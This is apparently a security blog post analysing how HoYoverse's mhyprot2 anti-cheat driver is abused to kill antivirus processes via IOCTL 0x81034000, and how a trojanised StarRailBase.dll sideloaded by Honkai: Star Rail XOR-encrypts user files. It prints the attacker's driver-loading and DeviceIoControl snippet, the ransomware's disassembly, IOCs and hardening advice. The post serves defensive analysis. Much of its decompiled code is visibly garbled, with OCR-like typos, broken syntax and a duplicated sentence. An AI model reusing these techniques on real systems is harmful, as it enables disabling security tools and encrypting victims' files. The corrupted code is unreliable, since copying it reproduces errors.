Smuggling Malware Using HoYoverse Games

Smuggling Malware Using HoYoverse Games

The leading provider of Bring-Your-Own-Vulnerable-Gacha-Games (BYOVGG)

·

24 min read

Cover Illustration by ireneparamithaa

Hoyoverse, the studio behind some of the most popular games in recent years, has increasingly found itself in the crosshairs of cybercriminals and threat actors. With the company recently securing the title of "Most Expensive Game to Develop" and repeatedly breaking sales records, it's no surprise that its games have become prime targets. Hoyoverse, or its parent company MiHoYo, depending on the interpretation of its complex corporate structure, has turned into a revenue juggernaut—making it a lucrative focus for attackers.

Despite employing several anticheat solutions—such as MiHoYo Protect (mhyprot), Hoyoverse Kernel Protection (HoYoKProtect), and Tencent's Anti Cheat Expert (ACE)—all have been circumvented by various cheating groups. The games and their supporting anticheat engines have also attracted attention from threat actors seeking to exploit vulnerabilities in their drivers and applications.

In fact, there have been multiple instances of MiHoYo’s game binaries and related applications being leveraged to distribute malware. Below is a brief, albeit non-exhaustive, overview of significant incidents involving MiHoYo’s software being compromised or exploited for malicious purposes.

Genshin Impact Vulnerable Driver (Rever Ransomware)

In August 2022, TrendMicro reported on a Babuk-based ransomware exploit that utilized Genshin Impact's anti-cheat drivers to bypass kernel-level privileges. It was later found that the note similar to the note given by Rever Ransomware.

While Genshin Impact doesn't feature PvP mechanisms, its stringent monetization structure necessitates robust anti-tampering technologies to ensure the integrity of its random number generation (RNG) systems, thereby safeguarding MiHoYo's monetization model.

mhyprot2 is a part of miHoYo’s clientside anti-cheat approach. As kernel mode drivers have system-level privilege, these types of anticheat mechanisms often provoke controversy about user’s privacy and with many calling similar systems like Riot’s Vanguard or EasyAntiCheat as rootkits.

Following NT kernel APIs are used in mhyprot2:

  • The PsSetCreateProcessNotifyRoutine routine adds a driver-supplied callback routine to, or removes it from, a list of routines to be called whenever a process is created or deleted.

  • The PsSetCreateThreadNotifyRoutine routine registers a driver-supplied callback that is subsequently notified when a new thread is created and when such a thread is deleted.

  • The PsSetLoadImageNotifyRoutine routine registers a driver-supplied callback that is subsequently notified whenever an image is loaded (or mapped into memory). This is the routine that we would be discussing.

The advantage of using these hooks is that mhyprot can easily know when any module or component is being mapped to the game process that mhyprot protects. But how about when a piece of malicious code removes mhyprot’s callback routine on the system? There exists a validation routine that makes sure that mhyprot’s callback routine is active on the system.

BOOLEAN __stdcall IsLoadImagellotifyRoutineExists()
{
    char *_pPspLoadImageNotifyRoutine; // rax 
    int Counter2; // ebx
    int Counter: // esi 
    __int64 i; // r14 
    char *CallbackBlock; // rdi 
    __int64 RefCallbackBlock; // rdi
    __int64 j; // rdx

    _pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
    Counter2 = 0;
    // if gpPspLoadImagellotifyRoutine not set, then set
    if (!gpPspLoadImagellotifyRoutine )
    {
        _pPspLoadImageNotifyRoutine = FindPspRemoveLoadImageNotifyRoutine_sub_140006B240);
        gpPspLoadImageNotifyRoutine = (__int64)_pPspLoadImageNotifyRoutine;
        if ( !_pPspLoadImagellotifyRoutine )
            return 1;
    }
    Counter = 0;
    for ( i = 0164; ; i += 8164 )
    {
        CallbackBlock = &_pPspLoadImage lotifyRoutine[il;
        if (&_pPspLoadImageNotifyRoutine[i])
            break;
ContinueEnumeration:
    // Every callback-block arrays have up to 64 of its size
    if ( (unsigned int)++Counter >= 64 )
        return 0;
    }
    if(!(unsigned __int8)mIsAddressValid(&_pPspLoadImageNotifyRoutine[i])
        || (RefCallbackBlock = *(_QWORD *)CallbackBlock) == 0
        || !(unsigned _int8)NmIsAddressValid(RefCallbackBlock)
        || *(void (__fastcall **)(__int64, __int64))((RefCallbackBlock & OxFFFFFFFFFFFFFFFOui64) + 8) != MhyLoadImageCallback )
    {
        _pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
        goto ContinueEnumeration;
    }

    // validate pointer
    for (j = 0164; *(_DWORD *)((char *)&unk_14000A638 + j) == *(_DWORD *)((char *)MhyLoadImageCallback + j); j += 4164 )
    {
        if ( (unsigned int)++Counter2 >= 8 )
        return 1;    
    }
    return 0;
}

To safeguard against potential tampering, mhyprot2 implements a validation routine that ensures its callback routine remains active on the system. The detection logic first checks if the global pointer to PspLoadImageNotifyRoutine is set. If not set, it attempts to find and set it using a custom function. It then iterates through the callback blocks (up to 64 entries), validating each callback block and checking if it matches mhyprot's callback function pointer.

The process begins by obtaining the PspLoadImageNotifyRoutine array pointer using the FindPspRemoveLoadImageNotifyRoutine_sub_140006B24 function. The system then meticulously enumerates through each callback-block entry, validating each one. If a match is found with mhyprot's callback function pointer, the function returns TRUE, indicating that the callback is still active and unaltered.

However, if no match is found after examining all entries, the function returns FALSE. This FALSE return could signify either that the callback was intentionally removed by malicious code attempting to bypass the anti-cheat system, or that it was never properly registered in the first place.

DKOM Countermeasures

To counter potential Direct Kernel Object Manipulation (DKOM) attacks, a technique often employed by malware to conceal processes or drivers, mhyprot2 implements a sophisticated signature scanning mechanism. This approach allows the anti-cheat system to locate specific function or variable pointers crucial to its operation

PspLoadImageNotifyRoutine is not exported by ntoskrnl due to Microsoft never recommending DKOM methods for device drivers. Instead, mhyprot2 uses FindPspRemoveLoadImageNotifyRoutine_sub_140006B24.

RtlInitUnicodeString(&DestinationString,L"PsRemoveLoadImagellotifyRoutine");
pPsRemoveLoadImagellotifyRoutine=(char*)MmGatSystamRoutinaAddress(&DestinationString);
StubBase=pPsRemoveLoadImageNotifyRoutine;
if(pPsRemoveLoadImagellotifyRoutine)
{
    if ( (unsigned int)gWinVer >= 61
    {
        if ( (unsigned int)gWinVer <= 63 )     // Windows Vista « 8.1
        {
            MaxAddressToSearch = (unsigned _int64)(pPsRemoveLoadImageNotifyRoutine + 255);
            while ((unsigned __int64)StubBase < MaxAddressToSearch)
            {
                if ( *StubBase == 0x48
                  && StubBase[1] == 0x8Du
                  && StubBase[2] == OxD
                  && StubBase[7] == 0x8Bu
                  && StubBase[8] == Oxc6u )
                {
                DerefPointer = &StubBase[*( DWORD *)(StubBase + 3) + 7]:
ValidateAndReturn:
                if ( DerefPointer && (unsigned __int8)MmIsAddressValid(DerefPointer))
                    goto LABEL_26;
                break;
            }
            ++StubBase;
        }
    }
    else if ( gWinver == 100 )    // Windows 10 (Major=19, Minor=0)
    {
        for (i = (unsigned __int64) (pPsRemoveLoadImageNotifyRoutine + 12);
             i < (unsigned ._int64) (pPsRemoveLoadImageNotifyRoutine + 255);
             ++i )
    {
    if (*( BYTE *)(i - 2) == 0x33
        && * ( BYTE *)(i + 1) == 0x8Du
        && * ( BYTE *)(i - 9) == 0x44
        && * ( BYTE *)(i - 10) == 0x66
        && * ( BYTE *)(i + 11) == 0x48 )
    {
        DerefPointer = (char *)(i + *( DWORD *)(: + 3) + 7);
        goto ValidateAndReturn;
    }
   }
  }
 }
     DerefPointer = Oi64:

The driver first obtains the address of PsRemoveLoadImageNotifyRoutine using the MmGetSystemRoutineAddress function. This serves as the starting point for the scan. The system then scans a range of memory starting from the address of PsRemoveLoadImageNotifyRoutine and extending 255 bytes (0xFF in hexadecimal) beyond it. This range is chosen because the PspLoadImageNotifyRoutine array is typically located within this vicinity.

If a match for the signature pattern is found within this range, mhyprot2 dereferences the address, performs validation checks, and if successful, returns this address as the location of the PspLoadImageNotifyRoutine array. In the event that no matching pattern is found within the specified range, the system falls back to returning the function pointer of PsRemoveLoadImageNotifyRoutine itself.

But the methodology varies depending on the Windows version in use. For Windows 7 through 8.1, mhyprot2 searches for the pattern \x48\x8D\x0D\x00\x00\x00\x00\x8B\xC6, using the mask xxx????xx. This corresponds to the instruction lea rcx, PspLoadImageNotifyRoutine followed by mov eax, esi.

For Windows 10 and later, it uses a different pattern: \x48\x66\x44\x00\x00\x00\x00\x00\x00\x33\x00\x00\x8D, with the mask xxx??????x??x. This pattern identifies a nearby instruction sequence unique to newer Windows versions.

These byte sequences serve as fingerprints for locating the PspLoadImageNotifyRoutine array in memory.

PAGE:0000000140CAD62    lea     rcx, PspLoadImageNotifyRoutine
PAGE:0000000140CAD69    lea     rbp, [rcx+rdi*8]
PAGE:0000000140CAD70    mov     rcx, rbp
PAGE:0000000140CAD73    call    ExReferenceCallBackBlock
PAGE:0000000140CAD78    mov     rbx, rax
PAGE:0000000140CAD7B    test    rax, rax
PAGE:0000000140CAD7E    jz      short loc_140CAD9F
PAGE:0000000140CAD80    cmp     [rax+8], r14
PAGE:0000000140CAD84    jnz     short loc_140CAD94
PAGE:0000000140CAD86    mov     r8, rax
PAGE:0000000140CAD89    xor     edx, edx
PAGE:0000000140CAD8B    mov     rcx, rbp
PAGE:0000000140CAD8E    call    ExCompareExchangeCallBack
PAGE:0000000140CAD93    test    al, al

The code first locates a specific callback within the array using an index. It then employs a careful process to safely reference and potentially modify the callback. This involves using ExReferenceCallBackBlock to ensure the callback isn't deallocated during the operation, followed by a integrity check comparing the callback to an expected value.

If the integrity check passes, the code prepares to modify the callback using ExCompareExchangeCallBack. This function likely performs an atomic compare-and-exchange operation, allowing for thread-safe modification of the callback.

Windows Version Detection

Since of course ntoskrnl is different on every version of Windows, the driver needs to verify which version of windows they’re running on by gWinVer which set by GetAndSetGlobalVersionVariable.

char GetAndSetGlobalVersionVariable()
{
    int minorVersion; // [rsp+30h] [rbp+8h]
    int majorVersion; // [rsp+38h] [rbp+10h]

    if ( gwinVer )
        return 1;
    majorVersion = 0;
    minorVersion = 0;
    PsGetVersion (&majorVersion, &minorVersion, 0i64, 0i64);
    if (majorVersion == 5 )
    {
        if (minorVersion == 1 )
        {
        gWinVer = 51;
        return 1;
        }
    }
    else if (majorVersion == 6 )             // Windows Vista - 8.1
    {
        switch ( minorVersion )
        {
          case 1:
            gWinVer = 61;
            return 1;
          case 2:
            gWinVer = 62;
            return 1;
          case 3:
            gWinVer = 63;
            return 1;
        }
    }
    else if (majorVersion == 10 && !minorVersion )
    {
        gWinVer = 100;
        return 1;
    }
gwinVer = 0;
return 0;

The function begins by checking if a global version variable (gWinVer) has already been set. If it has, the function immediately returns, avoiding redundant version checks. This approach optimizes performance by ensuring the potentially time-consuming version detection process occurs only once during the driver's operation.

If the global version variable hasn't been set, the function proceeds to use the PsGetVersion API. This API call retrieves the major and minor version numbers of the operating system. Interestingly, mhyprot2 uses PsGetVersion despite it being considered obsolete after Windows XP, having been replaced by RtlGetVersion in more recent Windows versions.

majorVersionminorVersiongWinVerProduct
5151Windows XP
6161Windows 7
6262Windows 8
6363Windows 8.1
100100Windows 10

If the detected version doesn't match any of these known configurations, gWinVer is set to 0, likely indicating an unknown or unsupported Windows version.

The choice to use PsGetVersion might be driven by compatibility concerns. It's possible that the developers of mhyprot2 wanted to ensure their anti-cheat system could function on a wide range of Windows versions, including older systems that might still be in use in some markets. This backward compatibility could be particularly important in regions where older hardware and operating systems remain prevalent.

Validation Routine

he Validation Routine is a critical component of mhyprot2's integrity checking mechanism. This routine is designed to ensure that all the anti-cheat system's protective measures remain active and uncompromised during the game's operation. The routine is implemented through a function that we can refer to as CheckForAllCallbacks.

bool CheckForAllCallbacks()
{
    return !GetAndSetGlobalVersionVariable()
    || IsgpPspLoadImageNotifyRoutineValid()
    && IsLoadImageNotifyRoutineExist()
    && IsProcessCreateNotifyRoutineExist()
    && IsCreateThreadNotifyRoutineExist()
}

This function performs a series of checks to validate the integrity of various callback routines essential to mhyprot2's operation. Let's examine each component of this validation process:

  1. GetAndSetGlobalVersionVariable(): This call ensures that the Windows version has been properly detected and set. If this function returns true (indicating a failure in version detection), the overall check fails immediately.

  2. IsgpPspLoadImageNotifyRoutineValid(): This check verifies the validity of the global pointer to the PspLoadImageNotifyRoutine. It's crucial for ensuring that the system can properly monitor image loading events.

  3. IsLoadImageNotifyRoutineExist(): This function confirms that the Load Image Notify Routine is still registered and active. This routine is vital for detecting when new modules or DLLs are loaded into the game process.

  4. IsProcessCreateNotifyRoutineExist(): This check ensures that the Process Create Notify Routine is still in place. This routine allows mhyprot2 to monitor the creation of new processes, which is essential for detecting potential cheat launchers or injectors.

  5. IsCreateThreadNotifyRoutineExist(): This function verifies that the Create Thread Notify Routine is active. This routine enables mhyprot2 to monitor thread creation, which is crucial for detecting certain types of code injection techniques.

The function returns true only if all these checks pass (note the use of logical AND operators), indicating that all necessary callback routines are in place and functioning as expected. If any of these checks fail, it could indicate that the anti-cheat system has been compromised or disabled in some way.

NTSTATUS MhyChecksumForever()
{
    unsigned __int64 v0; // rbx 
    char Dest; // [rsp+30h] [rbp-Doh]
    char v3; // [rsp+168h] [rbp+68h] 
    int v4; // [rsp+170h] [rbp+70h]
    int v5; // [rsp+178h] [rbp+78h]

    v0 = 1i64;
    sub_1400014E0();
    v4 = 1;
    _InterlockedCompareExchange(6v4, -1, dword_14000A6E8);
    while ( v4 != -1 )
    {
        v5 = 0;
        _InterlockedCompareExchange(&v5, -1, dword_14000A010);
        if ( v5 == -1 )
        {
            if (dword_14000A6FC <= 0 )
            {
                ++dword_14000A6FC;
                sub_140997500(6Dest, 0i64, 256164); sprintf(&Dost, 0x100ui64, "Status false\r\n");
                snprintf(&Dest, 0i64, 256i64);
                sub_1409059EC(0i64, &Dest);
                _InterlockedExchange(&dword_14000A6F8, 1);
            }
        }
        else
        {
            _InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
            if (v0 & 0x32 == 11 )
            {
                v3 = 0;
                KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
                KdDisableDebugger();
                LOBYTE(KdDebuggerEnabled) = 0;
                if ( (unsigned _int8)sub_140001490() == 1 )
                    _InterlockedExchange(&dword_14009AGEC, 3);
            }
        }
        if ( v0 == 50 * (v0 / 0x32) && ChockForBothObAndALLPsCallbacks() )
            _InterlockedExchange(&dword_14000AGEC, 3);
        if (v0 & Ox1E == 11 && Object )
            KeSetEvent((PREVENT)object, 0, 0);
        MhySleepKernelThread(100);
        ++v0;
        sub_1400014E00();
        v4 = 1;
        _InterlockedCompareExchange(&v4, -1, dword_14000A6E8);
    }
    return PsTerminateSystenThread(0);

In this context, CheckForBothObAndAllPsCallbacks likely includes the CheckForAllCallbacks function along with additional checks for Object Manager callbacks (ObRegisterCallbacks).

The interesting part is the KdDisableDebugger thats in MhyChecksumForever as this new version of mhyprot implemented kernel debugger detection.

        {
            _InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
            if (v0 & 0x32 == 11 )
            {
                v3 = 0;
                KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
                KdDisableDebugger();
                LOBYTE(KdDebuggerEnabled) = 0;
                if ( (unsigned _int8)sub_140001490() == 1 )
                    _InterlockedExchange(&dword_14009AGEC, 3);
            }
        }

The call sleeps every 100 seconds until another execution check.

NTSTATUS __fastcall MhySleepKernelThreat(int Second)
{
    LARGE_INTERGER Interval; // [rsp+38h] [rpb+10h]

    Interval.QuadPart = -10000 * Second;
    return KeDelayExecutionThread(0,0,&Interval);
}

Also MhyChecksumForever is created by MhyCreateChecksumThread which calls PsCreateSystemThread.

__int64 MhyCreateChecksumThread()
{
    __int64 v1; // [rsp+40h] [rpb-48h]
    __int64 v2; // [rsp+48h] [rpb-40h]
    int v3; // [rsp+50h] [rpb-38h]
    __int64 v4; // [rsp+58h] [rpb-30h]
    __int64 v5; // [rsp+60h] [rpb-28h]
    int v6; // [rsp+68h] [rbp-20h]
    __int128 v7; // [rsp+70h] [rpb-18h]
    __int64 v8; // [rsp+90h] [rpb+8h]

    _InterlockedExchange(&dword_14000A6E8, 0);
    v3 = 48;
    v4 = 0i64;
    v6 = 512;
    v5 = 0i64;
    v8 = 0i64;
    _mm_storeu_si128((__m128i*)&v7,(__m128i)0i64);
    PsCreateSystemThread(
        (PHANDLE)&v8,
        0,
        (POBJECT_ATTRIBUTES)&v3,
        0i64,
        (PCLIENT_ID)&v1,
        (PKSTART_ROUTINE)MhyChecksumForever,
        0i64);
    return PsLookupThreadByThreadId(v2, &gChecksumThreadHandle);
}

Process Termination

The process termination functionality in mhyprot2 is implemented through a specific IOCTL (Input/Output Control) handler. This feature allows the anti-cheat system to terminate processes, which can be used to stop cheat tools or compromised game instances.

PAGE:FFFFF800188CD0F9 cmp ebx, 81034000h    // Compare the IOCTL code with 0x81034000
PAGE:FFFFF800188CD0FF jz short loc_FFFFF800188CD16C  // Jump if equal

PAGE:FFFFF800188CD16C loc_FFFFF800188CD16C:  ; CODE XREF: sub_FFFFF800188CD000+FF↑j
PAGE:FFFFF800188CD16C mov rax, [rsp+30h]    // Load pointer to input buffer
PAGE:FFFFF800188CD171 mov ecx, [rax]        // Load process ID from input buffer
PAGE:FFFFF800188CD173 call sub_FFFFF800188C36A8  // Call process termination function
PAGE:FFFFF800188CD178 and dword ptr [rbp+1D0h+arg_20], 0

This code segment compares the provided IOCTL code with 0x81034000. If they match, it jumps to the handler for this specific IOCTL. The handler then loads the process ID from the input buffer and then calls a subroutine (sub_FFFFF800188C36A8) to handle the process termination.

In the sub_FFFFF800188C36A8 at the .text segment checks if the provided process ID (ecx) is non-null. If the process ID is null, it jumps to the return statement, effectively ending the function. But this validation routine lacks further checks, such as whether the caller has the right to terminate the specified process.

.text:FFFFF800188C36B0 sub_FFFFF800188C36B0 proc near
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 var_38          = qword ptr -38h
.text:FFFFF800188C36B0 var_30          = byte ptr -30h
.text:FFFFF800188C36B0 var_28          = qword ptr -28h
.text:FFFFF800188C36B0 var_18          = byte ptr -18h
.text:FFFFF800188C36B0 arg_0           = qword ptr  8
.text:FFFFF800188C36B0 Object          = qword ptr  10h
.text:FFFFF800188C36B0 Handle          = qword ptr  18h
.text:FFFFF800188C36B0 arg_18          = qword ptr  20h
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 ; __unwind { // __C_specific_handler
.text:FFFFF800188C36B0 test ecx, ecx   // Check if process ID is non-null
.text:FFFFF800188C36B2 jz locret_FFFFF800188C3779  ; If null, return

The actual process termination is performed using the ZwTerminateProcess function.

.text:FFFFF800188C3733 loc_FFFFF800188C3733:
.text:FFFFF800188C3735 mov rcx, [rsp+58h+Handle]  // Load process handle
.text:FFFFF800188C373A call cs:ZwTerminateProcess // Call ZwTerminateProcess

We can leverage the lack of checks here with a specially crafted request, using the specific IOCTL code and a target process ID. Since this IOCTL handler has a payload encryption measure, attackers would need to encrypt the payload.

This is exactly the same method detailed in the Trendmicro report, with the threat actor loading mhyprot2.sys using the NtOpenFile function.

ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow,0);
v4 = 0;
if (!sub_1331000())
{
    memset(Dst, 0, sizeof(Dst));
    wcscpy_s(Dst, 0x100u, L"\\Device\\");
    wcscat_s(Dst, 0x100u, mhyprot2);
    memset(&ServiceStatus.dwCurrentState,0,24);
    ServiceStatus.dwCurrentState = 24;
    v13 = 2 * wcslen(Dst);
    v12 = v13;
    BytesReturned = Dst;
    ServiceStatus.dwWin32ExitCode = &v12;
    v5 = NtOpenFile(&Handle, 0xC0100000, &ServiceStatus.dwCurrentState, &IoStatusBlock, 0, 3u);
}

Afterwards, it seems to scan the common processes that are related to Antivirus or Endpoint Detection suites. The list of targeted processes will then be passed to mhyprot2 using the DeviceIoControl function and uses control code 0x81034000 to instruct the driver to terminate the processes in the list on all threads using the ZwTerminateProcess function.

// DeviceIoControl function
    sub_1333979(v7);
if(DeviceIoControl(Handle_to_myprot2, 0x81034000, &InBuffer, 0xCu, &OutBuffer, 0xCu, &BytesReturned, 0))

// The mhyprot2.sys case function
case 0x8103400:
    sub_1400036A8(*v34);
    LODWORD(a5) = 0;

if (ProcessId)
{
    ProcessHandle = 0i64;
    Object = 0i64;
    v1 = PsLookupProcessByProcessId(ProcessId,&Object) >= 0;
    if(Object)
    {
        if(ObOpenObjectByPointer(Object,0,0i64,0,0i64,0,&ProcessHandle))
        {
            if(v1)
                ObDeferenceObject(Object);
        }
        else

// ZwTerminateProcess inside 0x81034000, which terminates a process and all of its threads
        {
            ZwTerminateProcess(ProcessHandle,0);
            ZwClose(ProcessHandle);
            if(v1 && Object)
                ObDeferenceObject(Object);
        }
    }
}

Indicators of Compromise (IOC)

  • avg.msi 274685C591E96CB1F9CAE91EC8E7073F3A4CB113

  • avg.exe D4FFD891B9FC1AE212489ABBA43D76E2D58E6782

  • svchost.exe F47D9EC9C2515761E2BC40287B299420A86AF6AB

  • logon.bat 1ED1174E6E5545AAA081A480156485156B9D3A13

  • HelpPane.exe 2CF9376B057E187B9F465BDAF1C50FDBA9BA66E6

  • kill_svc.exe ccb219be156551464a2b91dfc5cddaf0c3e8321f

  • b.bat 7617511adda7cb03f317f0df61624b5ecbffcd87

Vulnerable Driver (BYOVD)

  • mhyprot2.sys 0466E90BF0E83B776CA8716E01D35A8A2E5F96D3

To address the IOCTL vulnerability in mhyprot2's process termination functionality, several security measures should be implemented as recommended by Microsoft. When defining new IOCTL codes, it's crucial to specify a FunctionCode value that is equal to or greater than 0x800. Additionally, always specify a RequiredAccess value, as this allows the I/O manager to prevent IOCTL calls from users with insufficient access rights. It's important to avoid defining IOCTL codes that allow callers to read or write nonspecific areas of kernel memory.

In the driver's dispatch routines, it's essential to test the entire 32-bit value when examining received IOCTL codes. For enhanced security, drivers can utilize IoValidateDeviceIoControlAccess to perform stricter access checking dynamically, beyond what is specified by the RequiredAccess value in the IOCTL definition.

Buffer validation is a critical aspect of secure IOCTL processing. Never read or write more data than the buffer pointed to by Irp->AssociatedIrp.SystemBuffer can contain. Always check Parameters.DeviceIoControl.InputBufferLength or Parameters.DeviceIoControl.OutputBufferLength in the IO_STACK_LOCATION structure to determine buffer limits. For added security, always zero driver-allocated buffers that will contain data intended for the application that originated the IOCTL request. This precaution prevents accidental copying of sensitive data to the application.

For METHOD_IN_DIRECT and METHOD_OUT_DIRECT transfers, additional checks are necessary. It's important to check for a NULL return value from MmGetSystemAddressForMdlSafe, which indicates that mapping failed or that a zero-length buffer was supplied. For METHOD_NEITHER transfers, follow the specific rules provided in the "Using Neither Buffered Nor Direct I/O" documentation.

To further enhance security, consider applying explicit security descriptors when the driver is installed. In an INF file, security descriptors are described by the "Security" entry in the AddReg section. The security descriptor should be defined using the Security Descriptor Definition Language (SDDL), which includes specifications for the owner SID, group SID, discretionary access control list (DACL), and system access control list (SACL).

When creating a named device object, drivers can control the security settings of specific objects by using the IoCreateDeviceSecure function. This function allows the application of a security descriptor to the device object using a subset of the full SDDL that is appropriate for device objects. The purpose of applying specific security descriptors to device objects is to ensure that appropriate security checks are performed whenever an application attempts to access the device itself.

For devices that do not support name structure, it's important to set the FILE_DEVICE_SECURE_OPEN bit in the device characteristics field. This ensures that the I/O manager performs a full security check on the device object. Failing to set this bit correctly is a common bug in drivers and can allow inappropriate access to the device.

Honkai : Star Rail DLL Sideloading (Kransom Ransomware)

In September 2024, ANYRUN discovered a threat actor using an altered install of Honkai Star Rail to perform a DLL sideloading attack. It starts with StarRail.exe which is a signed binary by COGNOSPHERE PTE LTD (a subsidiary of HoYoverse and MiHoYo). The game itself needs admin privileges to run, as with most games especially those with kernel-level anticheats.

We can see how Honkai Star Rail was succeptible to DLL sideloading by examining the binary using dumpbin.exe on Visual Studio 2022 with the C++ Profiling Tools package enabled.

C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.41.34120\bin\Hostx86\x86>dumpbin.exe /imports C:\Users\user\Desktop\test\StarRail.exe
Microsoft (R) COFF/PE Dumper Version 14.41.34120.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file C:\Users\user\Desktop\test\StarRail.exe

File Type: EXECUTABLE IMAGE
LINK : warning LNK4078: multiple '.ace' sections found with different attributes (E0000020)

  Section contains the following imports:

    StarRailBase.dll
             1400A6AC1 Import Address Table
             1400A6AF9 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

                             Ordinal     1

  Summary

        3000 .ace
       A3000 .ace

This output suggests that StarRail.exe is a relatively simple executable that relies on StarRailBase.dll for most of its functionality. The use of ordinal imports and the presence of .ace sections (which are not standard in typical Windows executables) indicate this might be a custom or protected executable format. ACE relates probably to Anti Cheat Expert.

In Windows, Microsoft has documented the process on how programs typically search for DLL's on its official documentation on dynamic-link library search order which states that...

If safe DLL search mode is enabled, then the search order is as follows:

  1. DLL Redirection.

  2. API sets.

  3. SxS manifest redirection.

  4. Loaded-module list.

  5. Known DLLs.

  6. Windows 11, version 21H2 (10.0; Build 22000), and later. The package dependency graph of the process. This is the application's package plus any dependencies specified as <PackageDependency> in the <Dependencies> section of the application's package manifest. Dependencies are searched in the order they appear in the manifest.

  7. The folder from which the application loaded.

  8. The system folder. Use the GetSystemDirectory function to retrieve the path of this folder.

  9. The 16-bit system folder. There's no function that obtains the path of this folder, but it is searched.

  10. The Windows folder. Use the GetWindowsDirectory function to get the path of this folder.

  11. The current folder.

  12. The directories that are listed in the PATH environment variable. This doesn't include the per-application path specified by the App Paths registry key. The App Paths key isn't used when computing the DLL search path.

Safe DLL Search Mode was introduced as a security feature starting with Windows XP Service Pack 1 and Windows Server 2003. This feature is designed to prevent DLL hijacking by altering the search order for DLLs. Specifically, it prioritizes system directories (like System32) over the current working directory, thus making it more difficult for attackers to place malicious DLLs in easy-to-access directories.

Before Safe DLL Search Mode, Windows would search the current working directory earlier, which made it easier for attackers to exploit DLL hijacking vulnerabilities. The introduction of Safe DLL Search Mode greatly reduced this risk by switching the order in which directories are searched, providing protection against this type of attack​

While this reduces the risk, it does not eliminate all vulnerabilities, especially if an attacker gains access to directories that are still part of the search order, like the application directory. This is where StarRailBase.dll comes into play, as the DLL is located in the same directory as the game.

The threat actor seems to have provided a mirror to Honkai (weird because usually they target paid games through cracks, not free-to-play games) and replaced StarRailBase.dll with a malicious version. Note that the game will execute this DLL, but it cannot launch with this DLL and will return an error saying it could not find the DLL.

The malware's entry point is an exported function named "K". This function is likely called by the game when it attempts to load the legitimate DLL. This function sets up the stack, initializes the file search with the user's directory, and then jumps to the main encryption routine.

public K
K proc near
sub rsp, 28h      // Allocate 40 bytes on the stack
lea rcx, aCUsers  // Load effective address of "C:\Users" string into rcx
call sub_18000113C  // Call function to search for files
add rsp, 28h      // Clean up the stack
jmp sub_18000102C   // Jump to another function (likely for file encryption)
K endp

The malware searches for files in the user's directory using Windows API functions. It starts in the user's AppData folder and recursively searches for all files.

sub_18000113C proc near
    // Function prologue and stack setup
    mov [rsp-8+arg_0], rbx
    mov [rsp-8+arg_8], rdi
    push rbp
    lea rbp, [rsp-280h]
    sub rsp, 380h
    mov rdi, rcx  ; Store the input parameter (likely the search path)

    // Get the user's AppData folder path
    xor r9d, r9d        ; dwFlags = 0
    lea rax, [rsp+148h+String2]
    mov [rsp+148h+pszPath], rax  ; pszPath = buffer for path
    xor r8d, r8d        ; hToken = NULL
    xor ecx, ecx        ; hwnd = NULL
    lea edx, [r9+1Ah]   ; csidl = 0x1A (CSIDL_APPDATA)
    call cs:SHGetFolderPathA

    // Construct search path by appending "\*" to user path
    lea rdx, asc_180002084  ; "\\*"
    lea rcx, [rbp+280h+String1]  ; lpString1 = user path
    call cs:lstrcatA  ; Append "\\*" to user path

    // Start file search
    lea rdx, [rsp+380h+FindFileData]  ; lpFindFileData
    lea rcx, [rbp+280h+String1]  ; lpFileName = search path
    call cs:FindFirstFileA

    mov rbx, rax  ; Store file handle

    // Check if file handle is valid
    cmp rax, 0FFFFFFFFFFFFFFFFh
    jz short loc_18000121F  ; Jump to end if invalid handle

This function uses SHGetFolderPathA to get the user's AppData folder, then uses FindFirstFileA and FindNextFileA to iterate through all files. For each file found, the malware opens it, reads its content, encrypts it, and writes it back to disk.

The encryption is a simple XOR operation with the key 0xAA. While not cryptographically secure, it's enough to render files unreadable. The encryption is a simple XOR operation with the key 0xAA. While not cryptographically secure, it's enough to render files unreadable.

sub_18000128C proc near
    mov [rsp-8+arg_0], rbx
    push rbp
    push rsi
    push rdi
    push r14
    push r15
    lea rbp, [rsp-10050h]
    mov eax, 10150h
    call __alloca_probe
    sub rsp, rax
    mov rsi, rcx  // Store filename pointer

    // Check if file already has .k extension
    call cs:lstrlenA
    cmp eax, 2
    jl short loc_1800012CF
    cdqe
    cmp byte ptr [rax+rsi-2], 2Eh ; '.'
    jnz short loc_1800012CF
    cmp byte ptr [rax+rsi-1], 6Bh ; 'k'
    jz loc_1800013E2  // Skip if already encrypted

loc_1800012CF:
    // Open the file
    and [rsp+10170h+var_10140], 0
    xor r9d, r9d  ; lpSecurityAttributes = NULL
    mov [rsp+10170h+dwFlagsAndAttributes], 80h  ; FILE_ATTRIBUTE_NORMAL
    mov edx, 0C0000000h  ; GENERIC_READ | GENERIC_WRITE
    mov rcx, rsi  ; lpFileName
    mov [rsp+10170h+dwCreationDisposition], 3  ; OPEN_EXISTING
    lea r8d, [r9+1]  ; dwShareMode = FILE_SHARE_READ
    call cs:CreateFileA

    mov r14, rax  ; Store file handle
    cmp rax, 0FFFFFFFFFFFFFFFFh
    jz loc_1800013E2  ; Jump if file open failed

    // Initialize encryption loop variables
    and dword ptr [rbp+10070h+liDistanceToMove], 0
    xor eax, eax
    mov dword ptr [rbp+10070h+liDistanceToMove+4], eax
    xor r15d, r15d
    mov rbx, qword ptr [rbp+10070h+liDistanceToMove]

loc_180001320:  // Start of encryption loop
    // Read file content
    and qword ptr [rsp+10170h+dwCreationDisposition], 0
    lea r9, [rbp+10070h+NumberOfBytesRead]  
    mov r8d, 10000h  
    lea rdx, [rbp+10070h+Buffer]  
    mov rcx, r14  // hFile
    call cs:ReadFile

    test eax, eax
    jz short loc_1800013AB  // Jump if read failed
    mov eax, [rbp+10070h+NumberOfBytesRead]
    test eax, eax
    jz short loc_1800013AB  // Jump if no bytes read

    // Prepare for encryption
    mov edi, 80000h
    lea rcx, [rbp+10070h+Buffer]
    sub rdi, r15
    cmp rax, rdi
